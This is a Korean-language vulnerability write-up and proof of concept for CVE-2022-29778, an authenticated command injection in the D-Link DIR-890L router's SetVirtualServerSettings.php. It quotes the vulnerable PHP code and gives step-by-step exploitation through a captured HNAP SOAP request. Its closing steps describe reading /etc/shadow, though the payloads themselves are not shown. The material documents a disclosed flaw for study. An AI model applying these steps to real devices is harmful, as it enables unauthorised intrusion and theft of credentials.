
D-Link DIR-890L RCE (CVE-2022-29778)에 대한 분석 및 PoC
영향받는 버전: <= v1.22B01 Hotfix (최신)
펌웨어: 여기
이 모델은 수명 주기가 종료되었습니다. 이 제품과 관련된 리소스는 개발이 중단되었으며 더 이상 지원되지 않습니다. D-Link Systems, Inc.는 이 제품들을 폐기하고 펌웨어 업데이트를 받는 제품으로 교체할 것을 권장합니다.
펌웨어에서 SetVirtualServerSettings.php에 getWOLMAC 함수를 찾을 수 있습니다.
function getWOLMAC($ipv4addr)
{
$cmd = "scut -p ".$ipv4addr." -f 3 /proc/net/arp";
setattr("/runtime/wakeonlan/mac", "get", $cmd);
$mac = get("", "/runtime/wakeonlan/mac");
del("/runtime/wakeonlan/mac");
return $mac;
}
$cmd는 필터링 없이 $ipv4addr을 명령어에 직접 연결하며, 다음에서 호출됩니다.
$ipv4addr = get("x", "LocalIPAddress");
...
if($description == "Wake-On-Lan")
{
$wolmac = getWOLMAC($ipv4addr);
set($vsvr_entry.":".$InDeX."/wakeonlan_mac", $wolmac);
}
따라서 $description(가상 서버 이름)을 "Wake-On-Lan"으로 설정하면 가상 서버 관련 페이지(/VirtualServer.html)에서 RCE(원격 명령 실행)가 발생할 수 있습니다.
인증이 필요하므로 먼저 로그인하세요.

그런 다음 패널을 통해 접근할 수 없는 가상 서버 페이지 (/VirtualServer.html)를 방문하세요.

Wake-On-Lan이라는 규칙을 추가하세요.

Save 버튼을 클릭하기 전에 burpsuite를 시작하고 다음 패킷을 캡처하세요:

POST /HNAP1/ HTTP/1.1
Host: 192.168.0.1
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: text/xml
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: text/xml
SOAPACTION: "http://purenetworks.com/HNAP1/SetVirtualServerSettings"
HNAP_AUTH: A4A816AE6CF2AC5537B0EB390FFB591C 1436839665
Content-Length: 765
Origin: http://192.168.0.1
Connection: close
Referer: http://192.168.0.1/VirtualServer.html
Cookie: uid=ZeNYZag3Gw
<?xml version="1.0" encoding="UTF-8"?>
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Body>
<SetVirtualServerSettings>
<VirtualServerList>
<VirtualServerInfo>
<Enabled>true</Enabled>
<VirtualServerDescription>Wake-On-Lan</VirtualServerDescription>
<ExternalPort>1</ExternalPort>
<InternalPort>1</InternalPort>
<ProtocolType>TCP</ProtocolType>
<ProtocolNumber>6</ProtocolNumber>
<LocalIPAddress>192.168.0.100</LocalIPAddress>
<ScheduleName></ScheduleName>
</VirtualServerInfo>
</VirtualServerList>
</SetVirtualServerSettings>
</soap:Body>
</soap:Envelope>
http 서버를 준비한 후:

Repeater 모듈을 사용하여 RCE(원격 명령 실행)를 테스트하세요:

그러면 다음과 같은 결과를 얻습니다:

명령 삽입을 테스트하고 /etc/shadow를 읽습니다:
